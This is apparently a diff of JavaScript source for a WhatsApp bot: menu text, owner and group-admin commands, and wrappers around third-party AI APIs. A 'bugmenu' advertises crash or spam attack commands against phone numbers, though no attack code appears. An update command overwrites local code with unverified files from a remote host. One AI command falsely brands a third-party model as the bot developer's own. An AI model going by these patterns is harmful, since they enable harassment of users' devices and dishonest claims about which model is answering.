-> *๐ *\`\`\`MODE : ${publik ? '๐ฟ๐๐๐๐๐' : '๐๐๐๐'}\`\`\`
-> *๐ *\`\`\`PREFIX : ${prefix}\`\`\`
-> *๐ *\`\`\`SYSTEM : ${platform.toUpperCase()} - ${arch}\`\`\`
-> *๐ *\`\`\`DATE : ${calender}\`\`\`
-> *๐ *\`\`\`TIME : ${timeWib}\`\`\`
- ${readmore}
-> โใ \`๐๐๐๐๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}checkupdate
-> ${sign} ${prefix}update
-> ${sign} ${prefix}setsudo
-> ${sign} ${prefix}delsudo
-> ${sign} ${prefix}getsudo
-> ${sign} ${prefix}ping
-> ${sign} ${prefix}self
-> ${sign} ${prefix}public
-> ${sign} ${prefix}block
-> ${sign} ${prefix}unblock
-> ${sign} ${prefix}setpp
-> ${sign} ${prefix}setbio
-> ${sign} ${prefix}restart
-> ${sign} ${prefix}setname
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐๐๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}tag
-> ${sign} ${prefix}tagall
-> ${sign} ${prefix}kick
-> ${sign} ${prefix}add
-> ${sign} ${prefix}mute
-> ${sign} ${prefix}unmute
-> ${sign} ${prefix}invite
-> ${sign} ${prefix}tagme
-> ${sign} ${prefix}kickall
-> ${sign} ${prefix}gcinfo
-> ${sign} ${prefix}revoke
-> ${sign} ${prefix}gclink
-> ${sign} ${prefix}leavegc
-> ${sign} ${prefix}listonline
-> ${sign} ${prefix}setppgc
-> ${sign} ${prefix}delppgc
-> ${sign} ${prefix}getppgc
-> ${sign} ${prefix}antivirtex
-> ${sign} ${prefix}promote
-> ${sign} ${prefix}demote
-> ${sign} ${prefix}welcome
-> ${sign} ${prefix}opentime
-> ${sign} ${prefix}closetime
-> ${sign} ${prefix}tagadmin
-> ${sign} ${prefix}listadmin
-> ${sign} ${prefix}setgcname
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐\` ใ
-> ${sign} ${prefix}play
-> ${sign} ${prefix}video
-> ${sign} ${prefix}animedl
-> ${sign} ${prefix}aio
-> ${sign} ${prefix}yts
-> ${sign} ${prefix}ytmp3
-> ${sign} ${prefix}ytmp4
-> ${sign} ${prefix}tiktok
-> ${sign} ${prefix}tiktok2
-> ${sign} ${prefix}twitter
-> ${sign} ${prefix}tiktokaud
-> ${sign} ${prefix}all-in-one
-> ${sign} ${prefix}facebook
-> ${sign} ${prefix}Instagram
-> ${sign} ${prefix}sound1 to 95
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐๐๐๐๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}owner
-> ${sign} ${prefix}runtime
-> ${sign} ${prefix}setprefix
-> ${sign} ${prefix}getprefix
-> ${sign} ${prefix}scan
-> ${sign} ${prefix}listcase
-> ${sign} ${prefix}mode
-> ${sign} ${prefix}delete
-> ${sign} ${prefix}clearchat
-> ${sign} ${prefix}antilink
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐
๐๐๐ ๐๐๐๐๐๐๐๐๐\` ใ
-> ${sign} ${prefix}apk
-> ${sign} ${prefix}app
-> ${sign} ${prefix}apkfab
-> ${sign} ${prefix}gitclone
-> ${sign} ${prefix}githubdl
-> ${sign} ${prefix}mediafire
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐๐๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}pay
-> ${sign} ${prefix}areact
-> ${sign} ${prefix}qr
-> ${sign} ${prefix}join
-> ${sign} ${prefix}script
-> ${sign} ${prefix}sticker
-> ${sign} ${prefix}getjid
-> ${sign} ${prefix}fancy
-> ${sign} ${prefix}style
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐๐๐๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}bible
-> ${sign} ${prefix}lyrics
-> ${sign} ${prefix}spotify
-> ${sign} ${prefix}brave
-> ${sign} ${prefix}pinterest
-> ${sign} ${prefix}element
-> ${sign} ${prefix}randomcolor
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}tts
-> ${sign} ${prefix}blueai
-> ${sign} ${prefix}gemini
-> ${sign} ${prefix}llama
-> ${sign} ${prefix}mistral
-> ${sign} ${prefix}deepseek
-> ${sign} ${prefix}deepseek2
-> ${sign} ${prefix}blackbox
-> ${sign} ${prefix}bing
-> ${sign} ${prefix}gemini-pro
-> ${sign} ${prefix}flux
-> ${sign} ${prefix}text2img
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐๐๐๐๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}npmstalk
-> ${sign} ${prefix}country
-> ${sign} ${prefix}checkip
-> ${sign} ${prefix}wachannel
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐๐๐๐๐ ๐๐๐๐๐\` ใ
-> ${sign} ${prefix}get
-> ${sign} ${prefix}fetch
-> ${sign} ${prefix}html
-> ${sign} ${prefix}ssweb
-> ${sign} ${prefix}getdevice
-> ${sign} ${prefix}hard-encrypt
-> ${sign} ${prefix}tinyurl
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐
๐๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}joke
-> ${sign} ${prefix}rizz
-> ${sign} ${prefix}truth
-> ${sign} ${prefix}flirt
-> ${sign} ${prefix}dare
-> ${sign} ${prefix}quote
-> ${sign} ${prefix}aniquote
-> ${sign} ${prefix}love
-> ${sign} ${prefix}gross
-> ${sign} ${prefix}angry
-> ${sign} ${prefix}conf
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐๐๐ ๐๐๐๐\` ใ
-
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐
๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}waifu
-> ${sign} ${prefix}hentai
-> ${sign} ${prefix}xxxdl
-> ${sign} ${prefix}xxxsearch
-> โโโโโโโโโโโโโโ
-
-> โใ \`๐๐๐๐๐๐ ๐๐๐๐\` ใ
-> ${sign} ${prefix}cecan-indo
-> ${sign} ${prefix}cecan-china
-> ${sign} ${prefix}cecan-japan
-> ${sign} ${prefix}cecan-korea
-> ${sign} ${prefix}cecan-thailand
-> ${sign} ${prefix}cecan-vietnam
-> โโโโโโโโโโโโโโ
-> ${caption}`)
- })
- await sleep(2000)
- sendvn(dmusic)
- break;
- }
- case 'bugmenu': {
- await loading();
- const randomImage = images[Math.floor(Math.random() * images.length)];
-
- conn.sendMessage(m.chat, {
- image: {
- url: randomImage
- },
- caption: fontx(`โ๏ธใ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐ ใโ๏ธ
-> *๐ *\`\`\`NAME : ${pushname}\`\`\`
-> *๐ *\`\`\`STATUS : ${isPremium ? '๐ฟ๐๐๐๐๐๐' : '๐ต๐๐๐'}\`\`\`
-> *๐ *\`\`\`MODE : ${publik ? '๐ฟ๐๐๐๐๐' : '๐๐๐๐'}\`\`\`
-> *๐ *\`\`\`PREFIX : ${prefix}\`\`\`
-> *๐ *\`\`\`SYSTEM : ${platform.toUpperCase()} - ${arch}\`\`\`
-> *๐ *\`\`\`DATE : ${calender}\`\`\`
-> *๐ *\`\`\`TIME : ${timeWib}\`\`\`\n
-> โใ \`๐๐๐ ๐๐๐๐\` ใ
-> โง betax [dm]
-> โง betai [dm]
-> โง sharingan [dm]
-> โง devil 234##
-> โง void 234##
-> โง null 234##
-> โง dojutsu 234##
-> โง xbeta 234###
-> โง xios 234##
-> โง xpayios 234##
-> โง dead-ios 234##
-> โง fake-ios 234##
-> โง xeo-ios 234##
-> โง spam-pair 234##
-> โโโโโโโโโโโโโโ`)
- });
- break;
- }
- case 'mode': {
- await loading();
- let modeStatus = settings.publik ? "Public" : "Private";
- reply(`๐ข The bot is currently in *${modeStatus}* mode.`);
- break;
- }
-
- case 'public': {
- if (!isOwner) return reply(mess.only.owner);
- if (settings.publik) return reply("โ
The bot is already in *public* mode.");
-
- settings.publik = true;
- reply("โ
The bot is now in *public* mode.");
- break;
- }
-
- case 'self': {
- if (!isOwner) return reply(mess.only.owner);
- if (!settings.publik) return reply("๐ The bot is already in *private* mode.");
-
- settings.publik = false;
- reply("๐ The bot is now in *private* mode.");
- break;
- }
- case 'setsudo': {
- if (!isOwner) return reply(mess.only.owner);
-
- let newOwner;
- if (m.quoted) {
- newOwner = m.quoted.sender;
- } else if (mentionByTag.length) {
- newOwner = mentionByTag[0];
- } else if (q) {
- newOwner = q.replace(/[^0-9]/g, '') + '@s.whatsapp.net';
- } else {
- return reply("Please tag, reply, or provide a number to add as an owner.");
- }
-
- let ownerFile = './database/owner.json';
- let owners = fs.existsSync(ownerFile) ? JSON.parse(fs.readFileSync(ownerFile, 'utf8')) : [];
-
- if (owners.includes(newOwner)) return reply("This number is already an owner.");
-
- owners.push(newOwner);
- fs.writeFileSync(ownerFile, JSON.stringify(owners, null, 2));
-
- conn.sendMessage(m.chat, {
- text: fontx(`โ
Successfully added @${newOwner.replace('@s.whatsapp.net', '')} as an owner.`),
- mentions: [newOwner]
- });
- break;
- }
-
- case 'delsudo': {
- if (!isOwner) return reply(mess.only.owner);
-
- let removeOwner;
- if (m.quoted) {
- removeOwner = m.quoted.sender;
- } else if (mentionByTag.length) {
- removeOwner = mentionByTag[0];
- } else if (q) {
- removeOwner = q.replace(/[^0-9]/g, '') + '@s.whatsapp.net';
- } else {
- return reply("Please tag, reply, or provide a number to remove from owners.");
- }
-
- let ownerFile = './database/owner.json';
- let owners = fs.existsSync(ownerFile) ? JSON.parse(fs.readFileSync(ownerFile, 'utf8')) : [];
-
- if (!owners.includes(removeOwner)) return reply("This number is not an owner.");
-
- owners = owners.filter(owner => owner !== removeOwner);
- fs.writeFileSync(ownerFile, JSON.stringify(owners, null, 2));
-
- conn.sendMessage(m.chat, {
- text: fontx(`โ
Successfully removed @${removeOwner.replace('@s.whatsapp.net', '')} from owners.`),
- mentions: [removeOwner]
- });
- break;
- }
-
- case 'getsudo': {
- if (!isOwner) return reply(mess.only.owner);
- try {
- let owners = JSON.parse(fs.readFileSync('./database/owner.json', 'utf8'));
-
- if (owners.length === 0) return reply('*No owners found.*');
-
- let ownerList = owners.map((owner, index) => `${index + 1}. @${owner.replace('@s.whatsapp.net', '')}`).join("\n");
-
- conn.sendMessage(m.chat, {
- text: fontx(`๐ *Sudo List:*\n\n${ownerList}`),
- mentions: owners
- });
- } catch (error) {
- console.error('Error reading owner file:', error);
- reply('Failed to retrieve owner list.');
- }
- break;
- }
-case 'checkupdate': {
- if (!isOwner) return reply(mess.only.owner);
- await loading();
-
- let filesToCheck = [
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/case.js', path: './message/case.js', name: 'case.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/links.js', path: './temp/media/links.js', name: 'links.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/group.js', path: './message/group.js', name: 'group.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/message.js', path: './message/message.js', name: 'message.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/resolve/main/demon.js', path: './message/demon.js', name: 'demon.js' }
- ];
-
- try {
- let updateMessages = [];
- let newCases = [];
- let timestamp = new Date().toLocaleString();
-
- for (let file of filesToCheck) {
- let oldSize = fs.existsSync(file.path) ? fs.statSync(file.path).size : 0;
-
- let response = await fetch(file.url);
- if (!response.ok) {
- updateMessages.push(`โ Could not check *${file.name}*.`);
- continue;
- }
-
- let newContent = await response.text();
- let newSize = Buffer.byteLength(newContent, 'utf8');
- let sizeDifference = ((newSize - oldSize) / 1024).toFixed(2);
-
- if (file.name === "case.js") {
- let oldCases = (fs.existsSync(file.path) ? fs.readFileSync(file.path, 'utf8') : "").match(/case\s+'([^']+)'/g) || [];
- let updatedCases = newContent.match(/case\s+'([^']+)'/g) || [];
-
- newCases = updatedCases.filter(c => !oldCases.includes(c)).map(c => c.replace("case '", "").replace("'", ""));
- }
-
- updateMessages.push(
- sizeDifference > 0 ?
- `๐ *${file.name}* has an update available! (+${sizeDifference}KB)` :
- `โ
*${file.name}* is up to date.`
- );
- }
-
- let newCasesText = newCases.length ? `๐ *New Cases Detected:*\n${newCases.join("\n")}` : "โ
No new cases detected.";
-
- conn.sendMessage(m.chat, {
- image: { url: "https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/update.jpeg" },
- caption: fontx(`๐ *Update Check Completed!*\n๐
*Checked On:* ${timestamp}\n\n${updateMessages.join("\n")}\n\n${newCasesText}`)
- });
-
- } catch (error) {
- console.error("Error checking updates:", error);
- conn.sendMessage(m.chat, { text: "โ Error while checking updates. Try again later." });
- }
- break;
-}
-
-case 'update': {
- if (!isOwner) return reply(mess.only.owner);
- await loading();
-
- let filesToUpdate = [
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/case.js', path: './message/case.js', name: 'case.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/links.js', path: './temp/media/links.js', name: 'links.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/group.js', path: './message/group.js', name: 'group.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/message.js', path: './message/message.js', name: 'message.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/resolve/main/demon.js', path: './message/demon.js', name: 'demon.js' }
- ];
-
- try {
- let updateMessages = [];
- let newCases = [];
- let timestamp = new Date().toLocaleString();
-
- for (let file of filesToUpdate) {
- let oldContent = fs.existsSync(file.path) ? fs.readFileSync(file.path, 'utf8') : "";
- let oldSize = Buffer.byteLength(oldContent, 'utf8');
-
- let response = await fetch(file.url);
- if (!response.ok) {
- updateMessages.push(`โ Failed to update *${file.name}*.`);
- continue;
- }
-
- let newContent = await response.text();
- fs.writeFileSync(file.path, newContent, 'utf8');
-
- let newSize = Buffer.byteLength(newContent, 'utf8');
- let sizeDifference = ((newSize - oldSize) / 1024).toFixed(2);
-
- if (file.name === "case.js") {
- let oldCases = oldContent.match(/case\s+'([^']+)'/g) || [];
- let updatedCases = newContent.match(/case\s+'([^']+)'/g) || [];
-
- newCases = updatedCases.filter(c => !oldCases.includes(c)).map(c => c.replace("case '", "").replace("'", ""));
- }
-
- updateMessages.push(
- sizeDifference > 0 ?
- `โ
*${file.name}* updated! (+${sizeDifference}KB)` :
- `โ
*${file.name}* is already up to date.`
- );
- }
-
- let newCasesText = newCases.length ?
- `๐ *New Cases Added:*\n${newCases.join("\n")}` :
- "โ
No new cases added.";
-
- conn.sendMessage(m.chat, {
- image: { url: "https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/update.jpeg" },
- caption: fontx(`๐ *Update Completed!*\n๐
*Updated On:* ${timestamp}\n\n${updateMessages.join("\n")}\n\n${newCasesText}`)
- });
-
- } catch (error) {
- console.error("Error updating files:", error);
- conn.sendMessage(m.chat, { text: "โ Error while updating. Try again later." });
- }
- break;
-}
- case 'ping': {
- const startTime = performance.now();
- const initialMessage = await conn.sendMessage(m.chat, {
- text: fontx(`*โก๐ฒ๐ฐ๐ป๐ฒ๐๐ป๐ฐ๐๐ธ๐ฝ๐ถ ๐๐ฟ๐ด๐ด๐ณโก*\n๐\n> ${botName}`)
- });
-
- const endTime = performance.now();
- const latency = (endTime - startTime).toFixed(3);
-
- let pingStatus = '';
- if (latency < 50) {
- pingStatus = fontx('๐ excellent connection');
- } else if (latency < 100) {
- pingStatus = fontx('โก good connection');
- } else if (latency < 200) {
- pingStatus = fontx('๐ average connection');
- } else if (latency < 500) {
- pingStatus = fontx('๐ฌ slow connection');
- } else {
- pingStatus = fontx('๐ข poor connection');
- }
-
- const finalMessage = fontx(` *\`demon bot speed\`*\n *ping* ${latency}ms\n*status:* *${pingStatus}*\n> ${caption}`);
-
- await conn.relayMessage(m.chat, {
- protocolMessage: {
- key: initialMessage.key,
- type: 14,
- editedMessage: {
- conversation: finalMessage
- }
- }
- }, {});
-
- break;
- }
- case 'runtime':
- case 'uptime': {
- reply(`${themeemoji} \`RUNTIME\` ${themeemoji}\n*${runtime(process.uptime())}*`)
- }
- break;
- case 'setprefix': {
- if (!isOwner) return reply(mess.only.owner);
-
- if (!text) return reply("Please provide a new prefix.\n\nExample: `.setprefix !`");
- await loading()
- try {
- fs.writeFileSync(prefixFile, JSON.stringify({
- prefix: text
- }, null, 2));
- prefix = text;
- reply(`โ
Prefix successfully changed to: *${text}*`);
- } catch (error) {
- console.error('Error saving new prefix:', error);
- reply("โ Failed to update the prefix.");
- }
-
- break;
- }
- case 'getprefix': {
- await loading();
-
- try {
- const prefixData = JSON.parse(fs.readFileSync('./database/prefix.json', 'utf8'));
- const currentPrefix = prefixData.prefix || '.';
-
- reply(`*Current Prefix:* \`${currentPrefix}\``);
- } catch (error) {
- console.error('Error reading prefix file:', error);
- reply('Failed to retrieve prefix.');
- }
- break;
- }
- case 'delete':
- case 'del':
- case 'd': {
- if (!isOwner) return;
- if (!m.quoted) return;
- try {
- await conn.sendMessage(m.chat, {
- delete: {
- remoteJid: m.chat,
- fromMe: false,
- id: m.quoted.id,
- participant: m.quoted.sender
- }
- });
-
- await conn.sendMessage(m.chat, {
- delete: {
- remoteJid: m.chat,
- fromMe: true,
- id: m.id
- }
- });
- } catch (err) {
- console.log("Error while deleting messages:", err);
- }
- }
- break;
- case 'clearchat':
- case 'clear': {
- if (!isOwner) return reply(mess.only.owner);
-
- conn.chatModify({
- delete: true,
- lastMessages: [{
- key: m.key,
- messageTimestamp: m.messageTimestamp
- }]
- },
- m.chat
- );
- await sleep(1500)
- reply(mess.success);
- }
- break;
- case 'block': {
- if (!isOwner) return reply(mess.only.owner);
- await loading();
- let users;
-
- if (isGroup) {
- if (m.quoted && m.quoted.sender) {
- users = m.quoted.sender;
- } else if (text) {
- users = text.replace(/[^0-9]/g, '') + '@s.whatsapp.net';
- }
- } else {
- users = m.chat;
- }
-
- if (users && users.replace(/[^0-9]/g, '').length >= 7) {
- await conn.updateBlockStatus(users, "block");
- reply(mess.success);
- } else {
- reply("Please reply to a message or provide a valid number to block.");
- }
- break;
- }
-
- case 'unblock': {
- if (!isOwner) return reply(mess.only.owner);
- await loading();
- let users;
-
- if (isGroup) {
- users = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '') + '@s.whatsapp.net';
- } else {
- users = m.chat;
- }
-
- if (users && users.replace(/[^0-9]/g, '').length >= 7) {
- await conn.updateBlockStatus(users, "unblock");
- reply(mess.success);
- } else {
- reply("Please reply to a message or provide a valid number to unblock.");
- }
- break;
- }
- case 'setppbot':
- case 'setpp': {
- if (!isOwner) return reply(mess.only.owner)
- await loading()
- if (!quoted) return reply(`Send/Reply to Images With Caption ${prefix + command}`)
- if (!/image/.test(mime)) return reply(`Send/Reply to Images With Caption ${prefix + command}`)
- if (/webp/.test(mime)) return reply(`Send/Reply to Images With Caption ${prefix + command}`)
- var medis = await conn.downloadAndSaveMediaMessage(quoted, 'ppbot.jpeg')
- if (args[0] == `full`) {
- var {
- img
- } = await generateProfilePicture(medis)
- await conn.query({
- tag: 'iq',
- attrs: {
- to: botNumber,
- type: 'set',
- xmlns: 'w:profile:picture'
- },
- content: [{
- tag: 'picture',
- attrs: {
- type: 'image'
- },
- content: img
- }]
- })
- fs.unlinkSync(medis)
- reply(mess.success)
- } else {
- var memeg = await conn.updateProfilePicture(botNumber, {
- url: medis
- })
- fs.unlinkSync(medis)
- reply(mess.success)
- }
- }
- break
- case 'setbio':
- case 'setbotbio': {
- if (!isOwner) return reply(mess.only.owner);
- if (!q) return reply(`*Example: ${prefix + command} Text*`);
- try {
- await conn.updateProfileStatus(q);
- reply(`*Bio Has Been Changed To \`${q}\`*`);
- } catch (error) {
- console.error(error);
- reply("An error occurred while updating the bio. Please try again.");
- }
- break;
- }
- case 'restart':
- if (!isOwner) return reply(mess.only.owner)
- await loading()
- reply(`*restarting...*`)
- await sleep(3000)
- process.exit()
- break;
- case 'setname':
- case 'setbotname': {
- if (!isOwner) return reply(mess.only.owner);
- if (!text) return reply(`*Example: ${prefix + command} blue demon*`);
-
- try {
- await conn.updateProfileName(text);
- reply(`*successfully changed name to \`${text}\`*`);
- } catch (error) {
- console.error(error);
- reply("An error occurred while updating the name. Please try again.");
- }
- break;
- }
- case 'owner':
- case 'creator':
- case 'dev': {
- let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender;
- let pp = await conn.profilePictureUrl(who).catch(_ => 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png?q=60');
- let name = await conn.getName(who);
-
- await conn.sendContactArray(m.chat, [
- [`2347041039367@s.whatsapp.net`, `BLUE DEMON`, `Bot Developer`, `Feel free to contact me for assistance or inquiries.`]
- ], m);
-
- await reply(`Hello ๐, if you wish to contact the owner, please use the provided contact details.`);
- }
- break;
- case 'tagall':
- if (!isGroup) return reply(mess.only.group);
- if (!isAdmins && !isOwner) return reply(mess.only.admin);
- let me = m.sender
- let teks = fontx(` ๐ธ๏ธใ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐ ใ๐ธ๏ธ\n๐ *tagger* @${me.split('@')[0]}\n\n`)
- for (let mem of participants) {
- teks += `${themeemoji} @${mem.id.split('@')[0]}\n`
- }
- conn.sendMessage(m.chat, {
- text: teks,
- mentions: participants.map(a => a.id)
- }, {
- quoted: m
- })
- break;
- case 'hidetag':
- case 'tag': {
- if (!isGroup) return reply(mess.only.group)
- if (!isAdmins && !isOwner) return reply(mess.only.admin);
- await loading();
- conn.sendMessage(m.chat, {
- text: q ? q : '',
- mentions: participants.map(a => a.id)
- }, {
- quoted: m
- })
- break
- };
- case 'kick': {
- if (!isGroup) return reply(mess.only.group);
- await loading();
- if (!isBotGroupAdmins) return reply(mess.only.Badmin);
- if (!isGroupAdmins && !isOwner) return reply(mess.only.admin);
-
- let mentioned = [];
- if (m.quoted) {
- mentioned = [m.quoted.sender];
- } else if (mentionByTag.length > 0) {
- mentioned = mentionByTag;
- } else if (args[0]) {
- mentioned = [`${args[0].replace(/[^0-9]/g, '')}@s.whatsapp.net`];
- }
-
- if (mentioned.length === 0) {
- return reply('Please reply to a user, tag someone, or provide a number to kick.');
- }
-
- try {
- await conn.groupParticipantsUpdate(m.chat, mentioned, 'remove');
- reply(`Successfully kicked ${mentioned.map(v => `@${v.split('@')[0]}`).join(', ')}`, {
- mentions: mentioned
- });
- } catch (error) {
- console.error('Error in kick case:', error);
- reply('Failed to kick the user. Make sure I have the correct permissions.');
- }
- break;
- }
-
- case 'add': {
- if (!isGroup) return reply(mess.only.group);
- if (!isBotGroupAdmins) return reply(mess.only.Badmin);
- if (!isGroupAdmins && !isOwner) return reply(mess.only.admin);
- await loading();
-
- let number;
- if (args[0]) {
- number = args[0].replace(/[^0-9]/g, '');
- } else if (m.quoted && m.quoted.sender) {
- number = m.quoted.sender.split('@')[0];
- } else {
- return reply('Please provide a number or reply to a user to add.');
- }
-
- const user = `${number}@s.whatsapp.net`;
-
- try {
- await conn.groupParticipantsUpdate(m.chat, [user], 'add');
- await conn.sendMessage(m.chat, {
- text: fontx(`Successfully added @${number}\n> ${caption}`),
- mentions: [user]
- }, {
- quoted: m
- });
- } catch (error) {
- reply('Failed to add the user. Make sure the number is valid and I have the correct permissions.');
- console.error(error);
- }
- break;
- }
- case 'tinyurl': {
- if (!q) return reply(`Please provide a valid URL.\n\nExample: *${prefix + command} https://example.com*`);
-
- await loading();
-
- try {
- let apiUrl = `https://api-xx-xi.hf.space/api/tinyurl?url=${encodeURIComponent(q)}`;
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || !json.short_url) {
- return reply("โ Failed to shorten the URL. Please try again.");
- }
-
- conn.sendMessage(m.chat, {
- text: fontx(`๐ *Shortened URL:*\n\n๐ *Long:* `) + q + fontx(`\nโ๏ธ *Short:* `) + json.short_url,
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in tinyurl case:", error);
- reply("โ An error occurred while shortening the URL. Please try again later.");
- }
- break;
- }
- case 'areact': {
- if (!isOwner) return reply(mess.only.owner);
- if (!args[0]) return reply(`Example: ${prefix + command} on/off`);
- if (args[0] === 'on') {
- global.autoreact = true;
- await reply('Successfully Activated AutoReact.');
- } else if (args[0] === 'off') {
- global.autoreact = false;
- await reply('Successfully Deactivated AutoReact.');
- } else {
- return reply(`Invalid option. Use "on" or "off" to toggle AutoReact.`);
- }
- break;
- }
- case 'blueai': {
- if (!q) {
- return reply(`*Please provide a query.*\n\n*Example:* ${prefix + command} Hello, which model are you?`);
- }
-
- await loading();
-
- try {
- const prompt = "your model is based on gpt 5 mini trained by blue demon, Your purpose is to assist users with a wide range of tasks and queries effectively without too much talk,from now on u are Branded by this. Question: ";
-
- const apiUrl = `https://api-lenwy.vercel.app/ai4chat?text=${encodeURIComponent(prompt)}${encodeURIComponent(q)}`;
- const response = await fetch(apiUrl);
- const res = await response.json();
- if (res.status !== 200 || !res.data) {
- return reply("Failed to process your request. Please try again later.");
- }
- const aiResponse = res.data;
- await conn.sendMessage(from, {
- image: {
- url: 'https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/thumb.jpg',
- },
- caption: fontx(`*BLUE AI Response:*\n${aiResponse}\n> ${caption}`),
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in BLUE Ai case:", error);
- reply("An error occurred while processing your request. Please try again later.");
- }
-
- break;
- }
- case 'gemini': {
- if (!q) return reply(`*Please provide a query.*\n\n*Example:* ${prefix + command} Hello, which model are you?`);
-
- await loading();
-
- try {
- const apiUrl = `https://api-lenwy.vercel.app/ai4chat?text=${encodeURIComponent(q)}`;
- const response = await fetch(apiUrl);
- const res = await response.json();
- if (res.status !== 200 || !res.data) {
- return reply("Failed to process your request. Please try again later.");
- }
- const aiResponse = res.data;
- await conn.sendMessage(from, {
- image: {
- url: 'https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/images.jpeg'
- },
- caption: fontx(`*Gemini AI Response:*\n\n${aiResponse}\n> ${caption}`),
- }, {
- quoted: m
- });
- } catch (error) {
- console.error("Error in Gemini case:", error);
- reply("An error occurred while processing your request. Please try again later.");
- }
- break;
- }
- case 'gemini-pro':
- case 'ai': {
- if (!q) {
- return reply(`*Please provide a query.*\n\n*Example:* ${prefix + command} Hello, what model are you?`);
- }
-
- await loading();
-
- try {
- const apiUrl = `https://bk9.fun/ai/gemini?q=${encodeURIComponent(q)}`;
- const response = await fetch(apiUrl);
- const res = await response.json();
- if (!res.status || !res.BK9) {
- return reply("Failed to process your request. Please try again later.");
- }
-
- const aiResponse = res.BK9;
-
- await conn.sendMessage(from, {
- image: {
- url: 'https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/images%20(1)%20(1).jpeg'
- },
- caption: fontx(`*Gemini pro Response:*\n${aiResponse}\n> ${caption}`),
- }, {
- quoted: m
- });
- } catch (error) {
- console.error("Error in Gemini-pro case:", error);
- reply("An error occurred while processing your request. Please try again later.");
- }
- break;
- }
-case 'flux': {
- if (!q) return reply(`โ Please enter a prompt.\n\nExample: *${prefix + command} create a cyberpunk lizard image*`);
-
- await loading(); // Display loading message
-
- try {
- let imageUrl = `https://api.siputzx.my.id/api/ai/flux?prompt=${encodeURIComponent(q)}`;
-
- await conn.sendMessage(m.chat, {
- image: { url: imageUrl },
- caption: fontx(`๐จ *Flux AI Generated Image*\n\n๐ *Prompt:* ${q}\n> ${caption}`),
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error in flux case:", error);
- reply("โ An error occurred while generating the image. Please try again later.");
- }
- break;
-}
-case 'llama': {
- if (!q) return reply(`โ Please enter a question or prompt.\n\nExample: *${prefix + command} What is AI?*`);
-
- await loading(); // Show loading message
-
- try {
- let apiUrl = `https://api.siputzx.my.id/api/ai/meta-llama-33-70B-instruct-turbo?content=${encodeURIComponent(q)}`;
- let imageUrl = "https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/Llama3.4.jpg";
-
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.status || !json.data) {
- return reply("โ No response received. Try again later.");
- }
-
- let aiResponse = json.data;
-
- await conn.sendMessage(m.chat, {
- image: { url: imageUrl },
- caption: fontx(`๐ค *Llama 3.4 AI Response*\n\n๐ฌ *Query:* ${q}\n๐ง *Response:* ${aiResponse}\n> ${caption}`),
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error in llama3.4 case:", error);
- reply("โ An error occurred while processing your request. Please try again later.");
- }
- break;
-}
-case 'deepseek': {
- if (!q) return reply(`โ Please enter a question or prompt.\n\nExample: *${prefix + command} What is AI?*`);
-
- await loading(); // Show loading message
-
- try {
- let apiUrl = `https://api.siputzx.my.id/api/ai/deepseek-r1?content=${encodeURIComponent(q)}`;
- let imageUrl = "https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/deepseek.jpg";
-
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.status || !json.data) {
- return reply("โ No response received. Try again later.");
- }
-
- let aiResponse = json.data.replace("\n\n", ""); // Clean output if necessary
-
- await conn.sendMessage(m.chat, {
- image: { url: imageUrl },
- caption: fontx(`๐ง *DeepSeek AI Response*\n\n๐ฌ *Query:* ${q}\n๐ค *Response:* ${aiResponse}\n> ${caption}`),
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error in deepseek case:", error);
- reply("โ An error occurred while processing your request. Please try again later.");
- }
- break;
-}
-case 'deepseek2': {
- if (!q) return reply(`โ Please enter a question or prompt.\n\nExample: *${prefix + command} What is AI?*`);
-
- await loading(); // Show loading message
